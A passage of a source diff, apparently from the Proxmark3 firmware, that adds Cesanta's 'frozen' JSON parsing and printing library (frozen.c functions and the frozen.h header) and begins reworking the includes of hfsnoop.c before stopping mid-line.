va_start(ap, fmt); + n = json_vprintf(out, fmt, ap); + va_end(ap); + return n; +} + +int json_printf_array(struct json_out *out, va_list *ap) WEAK; +int json_printf_array(struct json_out *out, va_list *ap) { + int len = 0; + char *arr = va_arg(*ap, char *); + size_t i, arr_size = va_arg(*ap, size_t); + size_t elem_size = va_arg(*ap, size_t); + const char *fmt = va_arg(*ap, char *); + len += json_printf(out, "[", 1); + for (i = 0; arr != NULL && i < arr_size / elem_size; i++) { + union { + int64_t i; + double d; + } val; + memcpy(&val, arr + i * elem_size, + elem_size > sizeof(val) ? sizeof(val) : elem_size); + if (i > 0) len += json_printf(out, ", "); + if (strpbrk(fmt, "efg") != NULL) { + len += json_printf(out, fmt, val.d); + } else { + len += json_printf(out, fmt, val.i); + } + } + len += json_printf(out, "]", 1); + return len; +} + +#ifdef _WIN32 +int cs_win_vsnprintf(char *str, size_t size, const char *format, + va_list ap) WEAK; +int cs_win_vsnprintf(char *str, size_t size, const char *format, va_list ap) { + int res = _vsnprintf(str, size, format, ap); + va_end(ap); + if (res >= size) { + str[size - 1] = '\0'; + } + return res; +} + +int cs_win_snprintf(char *str, size_t size, const char *format, ...) WEAK; +int cs_win_snprintf(char *str, size_t size, const char *format, ...) { + int res; + va_list ap; + va_start(ap, format); + res = vsnprintf(str, size, format, ap); + va_end(ap); + return res; +} +#endif /* _WIN32 */ + +int json_walk(const char *json_string, int json_string_length, + json_walk_callback_t callback, void *callback_data) WEAK; +int json_walk(const char *json_string, int json_string_length, + json_walk_callback_t callback, void *callback_data) { + struct frozen frozen; + + memset(&frozen, 0, sizeof(frozen)); + frozen.end = json_string + json_string_length; + frozen.cur = json_string; + frozen.callback_data = callback_data; + frozen.callback = callback; + + TRY(json_doit(&frozen)); + + return frozen.cur - json_string; +} + +struct scan_array_info { + int found; + char path[JSON_MAX_PATH_LEN]; + struct json_token *token; +}; + +static void json_scanf_array_elem_cb(void *callback_data, const char *name, + size_t name_len, const char *path, + const struct json_token *token) { + struct scan_array_info *info = (struct scan_array_info *) callback_data; + + (void) name; + (void) name_len; + + if (strcmp(path, info->path) == 0) { + *info->token = *token; + info->found = 1; + } +} + +int json_scanf_array_elem(const char *s, int len, const char *path, int idx, + struct json_token *token) WEAK; +int json_scanf_array_elem(const char *s, int len, const char *path, int idx, + struct json_token *token) { + struct scan_array_info info; + info.token = token; + info.found = 0; + memset(token, 0, sizeof(*token)); + snprintf(info.path, sizeof(info.path), "%s[%d]", path, idx); + json_walk(s, len, json_scanf_array_elem_cb, &info); + return info.found ? token->len : -1; +} + +struct json_scanf_info { + int num_conversions; + char *path; + const char *fmt; + void *target; + void *user_data; + int type; +}; + +int json_unescape(const char *src, int slen, char *dst, int dlen) WEAK; +int json_unescape(const char *src, int slen, char *dst, int dlen) { + char *send = (char *) src + slen, *dend = dst + dlen, *orig_dst = dst, *p; + const char *esc1 = "\"\\/bfnrt", *esc2 = "\"\\/\b\f\n\r\t"; + + while (src < send) { + if (*src == '\\') { + if (++src >= send) return JSON_STRING_INCOMPLETE; + if (*src == 'u') { + if (send - src < 5) return JSON_STRING_INCOMPLETE; + /* Here we go: this is a \u.... escape. Process simple one-byte chars */ + if (src[1] == '0' && src[2] == '0') { + /* This is \u00xx character from the ASCII range */ + if (dst < dend) *dst = hexdec(src + 3); + src += 4; + } else { + /* Complex \uXXXX escapes drag utf8 lib... Do it at some stage */ + return JSON_STRING_INVALID; + } + } else if ((p = (char *) strchr(esc1, *src)) != NULL) { + if (dst < dend) *dst = esc2[p - esc1]; + } else { + return JSON_STRING_INVALID; + } + } else { + if (dst < dend) *dst = *src; + } + dst++; + src++; + } + + return dst - orig_dst; +} + +static void json_scanf_cb(void *callback_data, const char *name, + size_t name_len, const char *path, + const struct json_token *token) { + struct json_scanf_info *info = (struct json_scanf_info *) callback_data; + char buf[32]; /* Must be enough to hold numbers */ + + (void) name; + (void) name_len; + + if (token->ptr == NULL) { + /* + * We're not interested here in the events for which we have no value; + * namely, JSON_TYPE_OBJECT_START and JSON_TYPE_ARRAY_START + */ + return; + } + + if (strcmp(path, info->path) != 0) { + /* It's not the path we're looking for, so, just ignore this callback */ + return; + } + + switch (info->type) { + case 'B': + info->num_conversions++; + switch (sizeof(bool)) { + case sizeof(char): + *(char *) info->target = (token->type == JSON_TYPE_TRUE ? 1 : 0); + break; + case sizeof(int): + *(int *) info->target = (token->type == JSON_TYPE_TRUE ? 1 : 0); + break; + default: + /* should never be here */ + abort(); + } + break; + case 'M': { + union { + void *p; + json_scanner_t f; + } u = {info->target}; + info->num_conversions++; + u.f(token->ptr, token->len, info->user_data); + break; + } + case 'Q': { + char **dst = (char **) info->target; + if (token->type == JSON_TYPE_NULL) { + *dst = NULL; + } else { + int unescaped_len = json_unescape(token->ptr, token->len, NULL, 0); + if (unescaped_len >= 0 && + (*dst = (char *) malloc(unescaped_len + 1)) != NULL) { + info->num_conversions++; + if (json_unescape(token->ptr, token->len, *dst, unescaped_len) == + unescaped_len) { + (*dst)[unescaped_len] = '\0'; + } else { + free(*dst); + *dst = NULL; + } + } + } + break; + } + case 'H': { +#if JSON_ENABLE_HEX + char **dst = (char **) info->user_data; + int i, len = token->len / 2; + *(int *) info->target = len; + if ((*dst = (char *) malloc(len + 1)) != NULL) { + for (i = 0; i < len; i++) { + (*dst)[i] = hexdec(token->ptr + 2 * i); + } + (*dst)[len] = '\0'; + info->num_conversions++; + } +#endif /* JSON_ENABLE_HEX */ + break; + } + case 'V': { +#if JSON_ENABLE_BASE64 + char **dst = (char **) info->target; + int len = token->len * 4 / 3 + 2; + if ((*dst = (char *) malloc(len + 1)) != NULL) { + int n = b64dec(token->ptr, token->len, *dst); + (*dst)[n] = '\0'; + *(int *) info->user_data = n; + info->num_conversions++; + } +#endif /* JSON_ENABLE_BASE64 */ + break; + } + case 'T': + info->num_conversions++; + *(struct json_token *) info->target = *token; + break; + default: + if (token->len >= (int) sizeof(buf)) break; + /* Before converting, copy into tmp buffer in order to 0-terminate it */ + memcpy(buf, token->ptr, token->len); + buf[token->len] = '\0'; + /* NB: Use of base 0 for %d, %ld, %u and %lu is intentional. */ + if (info->fmt[1] == 'd' || (info->fmt[1] == 'l' && info->fmt[2] == 'd') || + info->fmt[1] == 'i') { + char *endptr = NULL; + long r = strtol(buf, &endptr, 0 /* base */); + if (*endptr == '\0') { + if (info->fmt[1] == 'l') { + *((long *) info->target) = r; + } else { + *((int *) info->target) = (int) r; + } + info->num_conversions++; + } + } else if (info->fmt[1] == 'u' || + (info->fmt[1] == 'l' && info->fmt[2] == 'u')) { + char *endptr = NULL; + unsigned long r = strtoul(buf, &endptr, 0 /* base */); + if (*endptr == '\0') { + if (info->fmt[1] == 'l') { + *((unsigned long *) info->target) = r; + } else { + *((unsigned int *) info->target) = (unsigned int) r; + } + info->num_conversions++; + } + } else { +#if !JSON_MINIMAL + info->num_conversions += sscanf(buf, info->fmt, info->target); +#endif + } + break; + } +} + +int json_vscanf(const char *str, int len, const char *fmt, va_list ap) WEAK; +int json_vscanf(const char *str, int len, const char *fmt, va_list ap) { + char path[JSON_MAX_PATH_LEN] = "", fmtbuf[20]; + int i = 0; + char *p = NULL; + struct json_scanf_info info = {0, path, fmtbuf, NULL, NULL, 0}; + + while (fmt[i] != '\0') { + if (fmt[i] == '{') { + strcat(path, "."); + i++; + } else if (fmt[i] == '}') { + if ((p = strrchr(path, '.')) != NULL) * p = '\0'; + i++; + } else if (fmt[i] == '%') { + info.target = va_arg(ap, void *); + info.type = fmt[i + 1]; + switch (fmt[i + 1]) { + case 'M': + case 'V': + case 'H': + info.user_data = va_arg(ap, void *); + /* FALLTHROUGH */ + case 'B': + case 'Q': + case 'T': + i += 2; + break; + default: { + const char *delims = ", \t\r\n]}"; + int conv_len = strcspn(fmt + i + 1, delims) + 1; + memcpy(fmtbuf, fmt + i, conv_len); + fmtbuf[conv_len] = '\0'; + i += conv_len; + i += strspn(fmt + i, delims); + break; + } + } + json_walk(str, len, json_scanf_cb, &info); + } else if (json_isalpha(fmt[i]) || json_get_utf8_char_len(fmt[i]) > 1) { + char *pe; + const char *delims = ": \r\n\t"; + int key_len = strcspn(&fmt[i], delims); + if ((p = strrchr(path, '.')) != NULL) p[1] = '\0'; + pe = path + strlen(path); + memcpy(pe, fmt + i, key_len); + pe[key_len] = '\0'; + i += key_len + strspn(fmt + i + key_len, delims); + } else { + i++; + } + } + return info.num_conversions; +} + +int json_scanf(const char *str, int len, const char *fmt, ...) WEAK; +int json_scanf(const char *str, int len, const char *fmt, ...) { + int result; + va_list ap; + va_start(ap, fmt); + result = json_vscanf(str, len, fmt, ap); + va_end(ap); + return result; +} + +int json_vfprintf(const char *file_name, const char *fmt, va_list ap) WEAK; +int json_vfprintf(const char *file_name, const char *fmt, va_list ap) { + int res = -1; + FILE *fp = fopen(file_name, "wb"); + if (fp != NULL) { + struct json_out out = JSON_OUT_FILE(fp); + res = json_vprintf(&out, fmt, ap); + fputc('\n', fp); + fclose(fp); + } + return res; +} + +int json_fprintf(const char *file_name, const char *fmt, ...) WEAK; +int json_fprintf(const char *file_name, const char *fmt, ...) { + int result; + va_list ap; + va_start(ap, fmt); + result = json_vfprintf(file_name, fmt, ap); + va_end(ap); + return result; +} + +char *json_fread(const char *path) WEAK; +char *json_fread(const char *path) { + FILE *fp; + char *data = NULL; + if ((fp = fopen(path, "rb")) == NULL) { + } else if (fseek(fp, 0, SEEK_END) != 0) { + fclose(fp); + } else { + long size = ftell(fp); + if (size > 0 && (data = (char *) malloc(size + 1)) != NULL) { + fseek(fp, 0, SEEK_SET); /* Some platforms might not have rewind(), Oo */ + if (fread(data, 1, size, fp) != (size_t) size) { + free(data); + data = NULL; + } else { + data[size] = '\0'; + } + } + fclose(fp); + } + return data; +} + +struct json_setf_data { + const char *json_path; + const char *base; /* Pointer to the source JSON string */ + int matched; /* Matched part of json_path */ + int pos; /* Offset of the mutated value begin */ + int end; /* Offset of the mutated value end */ + int prev; /* Offset of the previous token end */ +}; + +static int get_matched_prefix_len(const char *s1, const char *s2) { + int i = 0; + while (s1[i] && s2[i] && s1[i] == s2[i]) i++; + return i; +} + +static void json_vsetf_cb(void *userdata, const char *name, size_t name_len, + const char *path, const struct json_token *t) { + struct json_setf_data *data = (struct json_setf_data *) userdata; + int off, len = get_matched_prefix_len(path, data->json_path); + if (t->ptr == NULL) return; + off = t->ptr - data->base; + if (len > data->matched) data->matched = len; + + /* + * If there is no exact path match, set the mutation position to tbe end + * of the object or array + */ + if (len < data->matched && data->pos == 0 && + (t->type == JSON_TYPE_OBJECT_END || t->type == JSON_TYPE_ARRAY_END)) { + data->pos = data->end = data->prev; + } + + /* Exact path match. Set mutation position to the value of this token */ + if (strcmp(path, data->json_path) == 0 && t->type != JSON_TYPE_OBJECT_START && + t->type != JSON_TYPE_ARRAY_START) { + data->pos = off; + data->end = off + t->len; + } + + /* + * For deletion, we need to know where the previous value ends, because + * we don't know where matched value key starts. + * When the mutation position is not yet set, remember each value end. + * When the mutation position is already set, but it is at the beginning + * of the object/array, we catch the end of the object/array and see + * whether the object/array start is closer then previously stored prev. + */ + if (data->pos == 0) { + data->prev = off + t->len; /* pos is not yet set */ + } else if ((t->ptr[0] == '[' || t->ptr[0] == '{') && off + 1 < data->pos && + off + 1 > data->prev) { + data->prev = off + 1; + } + (void) name; + (void) name_len; +} + +int json_vsetf(const char *s, int len, struct json_out *out, + const char *json_path, const char *json_fmt, va_list ap) WEAK; +int json_vsetf(const char *s, int len, struct json_out *out, + const char *json_path, const char *json_fmt, va_list ap) { + struct json_setf_data data; + memset(&data, 0, sizeof(data)); + data.json_path = json_path; + data.base = s; + data.end = len; + json_walk(s, len, json_vsetf_cb, &data); + if (json_fmt == NULL) { + /* Deletion codepath */ + json_printf(out, "%.*s", data.prev, s); + /* Trim comma after the value that begins at object/array start */ + if (s[data.prev - 1] == '{' || s[data.prev - 1] == '[') { + int i = data.end; + while (i < len && json_isspace(s[i])) i++; + if (s[i] == ',') data.end = i + 1; /* Point after comma */ + } + json_printf(out, "%.*s", len - data.end, s + data.end); + } else { + /* Modification codepath */ + int n, off = data.matched, depth = 0; + + /* Print the unchanged beginning */ + json_printf(out, "%.*s", data.pos, s); + + /* Add missing keys */ + while ((n = strcspn(&json_path[off], ".[")) > 0) { + if (s[data.prev - 1] != '{' && s[data.prev - 1] != '[' && depth == 0) { + json_printf(out, ","); + } + if (off > 0 && json_path[off - 1] != '.') break; + json_printf(out, "%.*Q:", n, json_path + off); + off += n; + if (json_path[off] != '\0') { + json_printf(out, "%c", json_path[off] == '.' ? '{' : '['); + depth++; + off++; + } + } + /* Print the new value */ + json_vprintf(out, json_fmt, ap); + + /* Close brackets/braces of the added missing keys */ + for (; off > data.matched; off--) { + int ch = json_path[off]; + const char *p = ch == '.' ? "}" : ch == '[' ? "]" : ""; + json_printf(out, "%s", p); + } + + /* Print the rest of the unchanged string */ + json_printf(out, "%.*s", len - data.end, s + data.end); + } + return data.end > data.pos ? 1 : 0; +} + +int json_setf(const char *s, int len, struct json_out *out, + const char *json_path, const char *json_fmt, ...) WEAK; +int json_setf(const char *s, int len, struct json_out *out, + const char *json_path, const char *json_fmt, ...) { + int result; + va_list ap; + va_start(ap, json_fmt); + result = json_vsetf(s, len, out, json_path, json_fmt, ap); + va_end(ap); + return result; +} + +struct prettify_data { + struct json_out *out; + int level; + int last_token; +}; + +static void indent(struct json_out *out, int level) { + while (level-- > 0) out->printer(out, " ", 2); +} + +static void print_key(struct prettify_data *pd, const char *path, + const char *name, int name_len) { + if (pd->last_token != JSON_TYPE_INVALID && + pd->last_token != JSON_TYPE_ARRAY_START && + pd->last_token != JSON_TYPE_OBJECT_START) { + pd->out->printer(pd->out, ",", 1); + } + if (path[0] != '\0') pd->out->printer(pd->out, "\n", 1); + indent(pd->out, pd->level); + if (path[0] != '\0' && path[strlen(path) - 1] != ']') { + pd->out->printer(pd->out, "\"", 1); + pd->out->printer(pd->out, name, (int) name_len); + pd->out->printer(pd->out, "\"", 1); + pd->out->printer(pd->out, ": ", 2); + } +} + +static void prettify_cb(void *userdata, const char *name, size_t name_len, + const char *path, const struct json_token *t) { + struct prettify_data *pd = (struct prettify_data *) userdata; + switch (t->type) { + case JSON_TYPE_OBJECT_START: + case JSON_TYPE_ARRAY_START: + print_key(pd, path, name, name_len); + pd->out->printer(pd->out, t->type == JSON_TYPE_ARRAY_START ? "[" : "{", + 1); + pd->level++; + break; + case JSON_TYPE_OBJECT_END: + case JSON_TYPE_ARRAY_END: + pd->level--; + if (pd->last_token != JSON_TYPE_INVALID && + pd->last_token != JSON_TYPE_ARRAY_START && + pd->last_token != JSON_TYPE_OBJECT_START) { + pd->out->printer(pd->out, "\n", 1); + indent(pd->out, pd->level); + } + pd->out->printer(pd->out, t->type == JSON_TYPE_ARRAY_END ? "]" : "}", 1); + break; + case JSON_TYPE_NUMBER: + case JSON_TYPE_NULL: + case JSON_TYPE_TRUE: + case JSON_TYPE_FALSE: + case JSON_TYPE_STRING: + print_key(pd, path, name, name_len); + if (t->type == JSON_TYPE_STRING) pd->out->printer(pd->out, "\"", 1); + pd->out->printer(pd->out, t->ptr, t->len); + if (t->type == JSON_TYPE_STRING) pd->out->printer(pd->out, "\"", 1); + break; + default: + break; + } + pd->last_token = t->type; +} + +int json_prettify(const char *s, int len, struct json_out *out) WEAK; +int json_prettify(const char *s, int len, struct json_out *out) { + struct prettify_data pd = {out, 0, JSON_TYPE_INVALID}; + return json_walk(s, len, prettify_cb, &pd); +} + +int json_prettify_file(const char *file_name) WEAK; +int json_prettify_file(const char *file_name) { + int res = -1; + char *s = json_fread(file_name); + FILE *fp; + if (s != NULL && (fp = fopen(file_name, "wb")) != NULL) { + struct json_out out = JSON_OUT_FILE(fp); + res = json_prettify(s, strlen(s), &out); + if (res < 0) { + /* On error, restore the old content */ + fclose(fp); + fp = fopen(file_name, "wb"); + fseek(fp, 0, SEEK_SET); + fwrite(s, 1, strlen(s), fp); + } else { + fputc('\n', fp); + } + fclose(fp); + } + free(s); + return res; +} + +struct next_data { + void *handle; // Passed handle. Changed if a next entry is found + const char *path; // Path to the iterated object/array + int path_len; // Path length - optimisation + int found; // Non-0 if found the next entry + struct json_token *key; // Object's key + struct json_token *val; // Object's value + int *idx; // Array index +}; + +static void next_set_key(struct next_data *d, const char *name, int name_len, + int is_array) { + if (is_array) { + /* Array. Set index and reset key */ + if (d->key != NULL) { + d->key->len = 0; + d->key->ptr = NULL; + } + if (d->idx != NULL) *d->idx = atoi(name); + } else { + /* Object. Set key and make index -1 */ + if (d->key != NULL) { + d->key->ptr = name; + d->key->len = name_len; + } + if (d->idx != NULL) *d->idx = -1; + } +} + +static void json_next_cb(void *userdata, const char *name, size_t name_len, + const char *path, const struct json_token *t) { + struct next_data *d = (struct next_data *) userdata; + const char *p = path + d->path_len; + if (d->found) return; + if (d->path_len >= (int) strlen(path)) return; + if (strncmp(d->path, path, d->path_len) != 0) return; + if (strchr(p + 1, '.') != NULL) return; /* More nested objects - skip */ + if (strchr(p + 1, '[') != NULL) return; /* Ditto for arrays */ + // {OBJECT,ARRAY}_END types do not pass name, _START does. Save key. + if (t->type == JSON_TYPE_OBJECT_START || t->type == JSON_TYPE_ARRAY_START) { + next_set_key(d, name, name_len, p[0] == '['); + } else if (d->handle == NULL || d->handle < (void *) t->ptr) { + if (t->type != JSON_TYPE_OBJECT_END && t->type != JSON_TYPE_ARRAY_END) { + next_set_key(d, name, name_len, p[0] == '['); + } + if (d->val != NULL) *d->val = *t; + d->handle = (void *) t->ptr; + d->found = 1; + } +} + +static void *json_next(const char *s, int len, void *handle, const char *path, + struct json_token *key, struct json_token *val, int *i) { + struct json_token tmpval, *v = val == NULL ? &tmpval : val; + struct json_token tmpkey, *k = key == NULL ? &tmpkey : key; + int tmpidx, *pidx = i == NULL ? &tmpidx : i; + struct next_data data = {handle, path, (int) strlen(path), 0, k, v, pidx}; + json_walk(s, len, json_next_cb, &data); + return data.found ? data.handle : NULL; +} + +void *json_next_key(const char *s, int len, void *handle, const char *path, + struct json_token *key, struct json_token *val) WEAK; +void *json_next_key(const char *s, int len, void *handle, const char *path, + struct json_token *key, struct json_token *val) { + return json_next(s, len, handle, path, key, val, NULL); +} + +void *json_next_elem(const char *s, int len, void *handle, const char *path, + int *idx, struct json_token *val) WEAK; +void *json_next_elem(const char *s, int len, void *handle, const char *path, + int *idx, struct json_token *val) { + return json_next(s, len, handle, path, NULL, val, idx); +} + +static int json_sprinter(struct json_out *out, const char *str, size_t len) { + size_t old_len = out->u.buf.buf == NULL ? 0 : strlen(out->u.buf.buf); + size_t new_len = len + old_len; + char *p = (char *) realloc(out->u.buf.buf, new_len + 1); + if (p != NULL) { + memcpy(p + old_len, str, len); + p[new_len] = '\0'; + out->u.buf.buf = p; + } + return len; +} + +char *json_vasprintf(const char *fmt, va_list ap) WEAK; +char *json_vasprintf(const char *fmt, va_list ap) { + struct json_out out; + memset(&out, 0, sizeof(out)); + out.printer = json_sprinter; + json_vprintf(&out, fmt, ap); + return out.u.buf.buf; +} + +char *json_asprintf(const char *fmt, ...) WEAK; +char *json_asprintf(const char *fmt, ...) { + char *result = NULL; + va_list ap; + va_start(ap, fmt); + result = json_vasprintf(fmt, ap); + va_end(ap); + return result; +} diff --git a/armsrc/frozen.h b/armsrc/frozen.h new file mode 100644 index 000000000..fc6fd3b3b --- /dev/null +++ b/armsrc/frozen.h @@ -0,0 +1,312 @@ +/* + * Copyright (c) 2004-2013 Sergey Lyubka + * Copyright (c) 2018 Cesanta Software Limited + * All rights reserved + * + * Licensed under the Apache License, Version 2.0 (the ""License""); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an ""AS IS"" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef CS_FROZEN_FROZEN_H_ +#define CS_FROZEN_FROZEN_H_ + +#include +#include + +/* JSON token type */ +enum json_token_type { + JSON_TYPE_INVALID = 0, /* memsetting to 0 should create INVALID value */ + JSON_TYPE_STRING, + JSON_TYPE_NUMBER, + JSON_TYPE_TRUE, + JSON_TYPE_FALSE, + JSON_TYPE_NULL, + JSON_TYPE_OBJECT_START, + JSON_TYPE_OBJECT_END, + JSON_TYPE_ARRAY_START, + JSON_TYPE_ARRAY_END, + + JSON_TYPES_CNT +}; + +/* + * Structure containing token type and value. Used in `json_walk()` and + * `json_scanf()` with the format specifier `%T`. + */ +struct json_token { + const char *ptr; /* Points to the beginning of the value */ + int len; /* Value length */ + enum json_token_type type; /* Type of the token, possible values are above */ +}; + +#define JSON_INVALID_TOKEN \ + { 0, 0, JSON_TYPE_INVALID } + +/* Error codes */ +#define JSON_STRING_INVALID -1 +#define JSON_STRING_INCOMPLETE -2 + +/* + * Callback-based SAX-like API. + * + * Property name and length is given only if it's available: i.e. if current + * event is an object's property. In other cases, `name` is `NULL`. For + * example, name is never given: + * - For the first value in the JSON string; + * - For events JSON_TYPE_OBJECT_END and JSON_TYPE_ARRAY_END + * + * E.g. for the input `{ "foo": 123, "bar": [ 1, 2, { "baz": true } ] }`, + * the sequence of callback invocations will be as follows: + * + * - type: JSON_TYPE_OBJECT_START, name: NULL, path: "", value: NULL + * - type: JSON_TYPE_NUMBER, name: "foo", path: ".foo", value: "123" + * - type: JSON_TYPE_ARRAY_START, name: "bar", path: ".bar", value: NULL + * - type: JSON_TYPE_NUMBER, name: "0", path: ".bar[0]", value: "1" + * - type: JSON_TYPE_NUMBER, name: "1", path: ".bar[1]", value: "2" + * - type: JSON_TYPE_OBJECT_START, name: "2", path: ".bar[2]", value: NULL + * - type: JSON_TYPE_TRUE, name: "baz", path: ".bar[2].baz", value: "true" + * - type: JSON_TYPE_OBJECT_END, name: NULL, path: ".bar[2]", value: "{ \"baz\": + *true }" + * - type: JSON_TYPE_ARRAY_END, name: NULL, path: ".bar", value: "[ 1, 2, { + *\"baz\": true } ]" + * - type: JSON_TYPE_OBJECT_END, name: NULL, path: "", value: "{ \"foo\": 123, + *\"bar\": [ 1, 2, { \"baz\": true } ] }" + */ +typedef void (*json_walk_callback_t)(void *callback_data, const char *name, + size_t name_len, const char *path, + const struct json_token *token); + +/* + * Parse `json_string`, invoking `callback` in a way similar to SAX parsers; + * see `json_walk_callback_t`. + * Return number of processed bytes, or a negative error code. + */ +int json_walk(const char *json_string, int json_string_length, + json_walk_callback_t callback, void *callback_data); + +/* + * JSON generation API. + * struct json_out abstracts output, allowing alternative printing plugins. + */ +struct json_out { + int (*printer)(struct json_out *, const char *str, size_t len); + union { + struct { + char *buf; + size_t size; + size_t len; + } buf; + void *data; + FILE *fp; + } u; +}; + +extern int json_printer_buf(struct json_out *, const char *, size_t); +extern int json_printer_file(struct json_out *, const char *, size_t); + +#define JSON_OUT_BUF(buf, len) \ + { \ + json_printer_buf, { \ + { buf, len, 0 } \ + } \ + } +#define JSON_OUT_FILE(fp) \ + { \ + json_printer_file, { \ + { (char *) fp, 0, 0 } \ + } \ + } + +typedef int (*json_printf_callback_t)(struct json_out *, va_list *ap); + +/* + * Generate formatted output into a given sting buffer. + * This is a superset of printf() function, with extra format specifiers: + * - `%B` print json boolean, `true` or `false`. Accepts an `int`. + * - `%Q` print quoted escaped string or `null`. Accepts a `const char *`. + * - `%.*Q` same as `%Q`, but with length. Accepts `int`, `const char *` + * - `%V` print quoted base64-encoded string. Accepts a `const char *`, `int`. + * - `%H` print quoted hex-encoded string. Accepts a `int`, `const char *`. + * - `%M` invokes a json_printf_callback_t function. That callback function + * can consume more parameters. + * + * Return number of bytes printed. If the return value is bigger than the + * supplied buffer, that is an indicator of overflow. In the overflow case, + * overflown bytes are not printed. + */ +int json_printf(struct json_out *, const char *fmt, ...); +int json_vprintf(struct json_out *, const char *fmt, va_list xap); + +/* + * Same as json_printf, but prints to a file. + * File is created if does not exist. File is truncated if already exists. + */ +int json_fprintf(const char *file_name, const char *fmt, ...); +int json_vfprintf(const char *file_name, const char *fmt, va_list ap); + +/* + * Print JSON into an allocated 0-terminated string. + * Return allocated string, or NULL on error. + * Example: + * + * ```c + * char *str = json_asprintf("{a:%H}", 3, "abc"); + * printf("%s\n", str); // Prints "616263" + * free(str); + * ``` + */ +char *json_asprintf(const char *fmt, ...); +char *json_vasprintf(const char *fmt, va_list ap); + +/* + * Helper %M callback that prints contiguous C arrays. + * Consumes void *array_ptr, size_t array_size, size_t elem_size, char *fmt + * Return number of bytes printed. + */ +int json_printf_array(struct json_out *, va_list *ap); + +/* + * Scan JSON string `str`, performing scanf-like conversions according to `fmt`. + * This is a `scanf()` - like function, with following differences: + * + * 1. Object keys in the format string may be not quoted, e.g. "{key: %d}" + * 2. Order of keys in an object is irrelevant. + * 3. Several extra format specifiers are supported: + * - %B: consumes `int *` (or `char *`, if `sizeof(bool) == sizeof(char)`), + * expects boolean `true` or `false`. + * - %Q: consumes `char **`, expects quoted, JSON-encoded string. Scanned + * string is malloc-ed, caller must free() the string. + * - %V: consumes `char **`, `int *`. Expects base64-encoded string. + * Result string is base64-decoded, malloced and NUL-terminated. + * The length of result string is stored in `int *` placeholder. + * Caller must free() the result. + * - %H: consumes `int *`, `char **`. + * Expects a hex-encoded string, e.g. "fa014f". + * Result string is hex-decoded, malloced and NUL-terminated. + * The length of the result string is stored in `int *` placeholder. + * Caller must free() the result. + * - %M: consumes custom scanning function pointer and + * `void *user_data` parameter - see json_scanner_t definition. + * - %T: consumes `struct json_token *`, fills it out with matched token. + * + * Return number of elements successfully scanned & converted. + * Negative number means scan error. + */ +int json_scanf(const char *str, int len, const char *fmt, ...); +int json_vscanf(const char *str, int len, const char *fmt, va_list ap); + +/* json_scanf's %M handler */ +typedef void (*json_scanner_t)(const char *str, int len, void *user_data); + +/* + * Helper function to scan array item with given path and index. + * Fills `token` with the matched JSON token. + * Return -1 if no array element found, otherwise non-negative token length. + */ +int json_scanf_array_elem(const char *s, int len, const char *path, int idx, struct json_token *token); + +/* + * Unescape JSON-encoded string src,slen into dst, dlen. + * src and dst may overlap. + * If destination buffer is too small (or zero-length), result string is not + * written but the length is counted nevertheless (similar to snprintf). + * Return the length of unescaped string in bytes. + */ +int json_unescape(const char *src, int slen, char *dst, int dlen); + +/* + * Escape a string `str`, `str_len` into the printer `out`. + * Return the number of bytes printed. + */ +int json_escape(struct json_out *out, const char *str, size_t str_len); + +/* + * Read the whole file in memory. + * Return malloc-ed file content, or NULL on error. The caller must free(). + */ +char *json_fread(const char *path); + +/* + * Update given JSON string `s,len` by changing the value at given `json_path`. + * The result is saved to `out`. If `json_fmt` == NULL, that deletes the key. + * If path is not present, missing keys are added. Array path without an + * index pushes a value to the end of an array. + * Return 1 if the string was changed, 0 otherwise. + * + * Example: s is a JSON string { "a": 1, "b": [ 2 ] } + * json_setf(s, len, out, ".a", "7"); // { "a": 7, "b": [ 2 ] } + * json_setf(s, len, out, ".b", "7"); // { "a": 1, "b": 7 } + * json_setf(s, len, out, ".b[]", "7"); // { "a": 1, "b": [ 2,7 ] } + * json_setf(s, len, out, ".b", NULL); // { "a": 1 } + */ +int json_setf(const char *s, int len, struct json_out *out, + const char *json_path, const char *json_fmt, ...); + +int json_vsetf(const char *s, int len, struct json_out *out, + const char *json_path, const char *json_fmt, va_list ap); + +/* + * Pretty-print JSON string `s,len` into `out`. + * Return number of processed bytes in `s`. + */ +int json_prettify(const char *s, int len, struct json_out *out); + +/* + * Prettify JSON file `file_name`. + * Return number of processed bytes, or negative number of error. + * On error, file content is not modified. + */ +int json_prettify_file(const char *file_name); + +/* + * Iterate over an object at given JSON `path`. + * On each iteration, fill the `key` and `val` tokens. It is OK to pass NULL + * for `key`, or `val`, in which case they won't be populated. + * Return an opaque value suitable for the next iteration, or NULL when done. + * + * Example: + * + * ```c + * void *h = NULL; + * struct json_token key, val; + * while ((h = json_next_key(s, len, h, ".foo", &key, &val)) != NULL) { + * printf("[%.*s] -> [%.*s]\n", key.len, key.ptr, val.len, val.ptr); + * } + * ``` + */ +void *json_next_key(const char *s, int len, void *handle, const char *path, + struct json_token *key, struct json_token *val); + +/* + * Iterate over an array at given JSON `path`. + * Similar to `json_next_key`, but fills array index `idx` instead of `key`. + */ +void *json_next_elem(const char *s, int len, void *handle, const char *path, + int *idx, struct json_token *val); + +#ifndef JSON_MAX_PATH_LEN +#define JSON_MAX_PATH_LEN 256 +#endif + +#ifndef JSON_MINIMAL +#define JSON_MINIMAL 1 +#endif + +#ifndef JSON_ENABLE_BASE64 +#define JSON_ENABLE_BASE64 !JSON_MINIMAL +#endif + +#ifndef JSON_ENABLE_HEX +#define JSON_ENABLE_HEX !JSON_MINIMAL +#endif + +#endif /* CS_FROZEN_FROZEN_H_ */ diff --git a/armsrc/hfsnoop.c b/armsrc/hfsnoop.c index bb5d8699c..770280b9b 100644 --- a/armsrc/hfsnoop.c +++ b/armsrc/hfsnoop.c @@ -1,10 +1,22 @@ -#include "proxmark3.h" -#include "apps.h" +//----------------------------------------------------------------------------- +// piwi, 2019 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Routines to get sample data from FPGA. +//----------------------------------------------------------------------------- +#include "hfsnoop.h" +#include "proxmark3_arm.h" #include "BigBuf.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" #include "util.h" -#include "usb_cdc.h" // for usb_poll_validate_length - -static void RAMFUNC optimizedSniff(void); +#include "fpga.h" +#include "appmain.h" +#include "cmd.h" static void RAMFUNC optimizedSniff(void) { int n = 